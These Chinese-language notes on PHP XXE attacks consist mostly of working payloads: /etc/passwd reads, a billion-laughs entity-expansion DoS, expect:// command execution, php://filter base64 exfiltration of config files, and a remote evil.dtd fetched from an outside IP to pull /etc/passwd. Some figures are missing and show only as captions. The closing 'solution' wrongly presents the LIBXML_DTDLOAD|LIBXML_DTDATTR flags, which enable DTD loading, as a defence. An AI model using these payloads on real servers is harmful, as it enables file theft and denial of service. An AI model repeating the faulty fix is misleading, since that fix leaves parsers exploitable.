php entites:

预定义的:&<%

一般实体:<!ENTITY general "hello">,调用方式:在<a>&general;</a>,不能包含在属性中。

参数实体:<!ENTITY % param "world">,调用方式,立即使用:%param;

一般实体和参数实体都能包含内部资源(DTD) 和外部资源

危害:

(1)本地文件读取

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [ <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodname>&xxe;</methodname>

(2)dos攻击(访问/dev/zero),嵌套解释实体

<?xml version="1.0"?>

<!DOCTYPE lolz [

  <!ENTITY lol "lol">

  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

]>

<lolz>&lol9;</lolz>

(3)局域网内资源

(4)端口扫描(http://192.168.1.3:22)

(5)利用一些协议外带资源(php:http,java:gopher(低版本),ftp(高版本))

(6)执行命令,如果php支持了expect扩展,就能执行系统命令,eg:<!ENTITY a SYSTEM 'expect://uname'>

常规利用思路:

1,正常输出

2,利用报错信息,比如解析xml时的错误,dtd,schema 校验

3,web系统中感兴趣的xml:web.xml,tomcat-users.xml,jetty.xml,httpd.conf

外带:php://filter/convert.base64-encode/resource=web.xml

allow_url_fopen = On

4,blind技巧,xsd values bruteforce

参数实体的解析算法:

将外部实体加载过来,eg:

<?xml version="1.0" encoding="uq-8"?>

<!DOCTYPE html [ <!ENTITY % internal SYSTEM "local_file.xml">

%internal;]>

<html>&title;</html>

local_file.xml:

<!ENTITY     title     "Hello,     World!">

解析后的效果就是:

%internal; 替换为<!ENTITY     title     "Hello,     World!">

out-of-band attack:

test.php

<?php

libxml_use_internal_errors(true);

//libxml_disable_entity_loader();

$xml1=<<<EOF

<?xml version="1.0" encoding="UTF-8" standalone="no"?>

<!DOCTYPE ANY [

    <!ENTITY xxe SYSTEM "file:///etc/passwd">

]>

<x>&xxe;</x>

EOF;

$dom1 = new DOMDocument();

$dom1->loadXML($xml1);

print_r($dom1);

$fields = $dom1->getElementsByTagName('x');

foreach ($fields as $field)

{

    print_r($field->nodeName);

    print_r($field->textContent);

}

print_r($dom1->saveXML());

//$xx = simplexml_load_string($xml1);

//print_r($xx);

print_r(libxml_get_errors());

libxml_clear_errors();

print_r("enderror");

?>

allow_url_fopen=0 则在entity中不允许 SYSTEM "http://127.0.0.1:22",ftp也是一样的

对普通entity只能在内容框内,不允许出现在属性中,如<a>&xxe;</a>

在实验过程中遇到了通过print_r($dom->saveXML())没有解析的内容,通过strace跟踪,发现访问了/etc/passwd,但是没有输出,仅仅是输出了未解析前的内容&xxe;,为什么呢?都已经访问了,为什么没有输出呢?就有可能是输出函数不管用,换成另外一种方式访问内容,果然正常输出了。

php -i 得到编译信息,包括支持的模块等,如查找dom中libxml情况:

dom

DOM/XML => enabled
DOM/XML API Version => 20031129
libxml Version => 2.7.8
HTML Support => enabled
XPath Support => enabled
XPointer Support => enabled
Schema Support => enabled
RelaxNG Support => enabled

libxml

libXML support => active
libXML Compiled Version => 2.7.8
libXML Loaded Version => 20708

libXML streams => enabled

SimpleXML

Simplexml support => enabled
Revision => $Revision: 314376 $
Schema support => enabled

xml

XML Support => active
XML Namespace Support => active
libxml2 Version => 2.7.8

哪些是由xml组成的,svg格式,docs格式,xml,xlsx

如下函数存在问题:DOMDocument.loadXML(),simple_xml_loadfile还有XMLReader的函数,load()

传输技巧:

<?xml version="1.0"?><!DOCTYPE results [
<!ENTITY harmless SYSTEM    "php://filter/read=convert.base64-encode/resource=/var/www/config.ini"    >]><results>
    <result>&harmless;</result></results>

引入外部实体的方式:

test.php

php xxe 攻击_数据导出

evil.dtd:

php xxe 攻击_数据导出_02

结果:

php xxe 攻击_数据导出_03

(2) 在属性中操作,只有php可以

test1.php

$xml1=<<<EOF
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://10.65.60.111/evil.dtd2">
    %remote;
    %param1;
<root attrib="&internal;"/>
EOF;

evil.dtd2:

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">

未成功,总报internal error

解决方案:

1,升级libxml2库版本到2.9以上,从2.9以上不默认执行外部实体。

2,在使用导入前,先执行libxml_disable_entity_loader(true);禁用entity

3,如果是使用XMLReader或者DOM方式解析,

$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET); // with the DOM functionality:  

$dom = new DOMDocument(); $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR)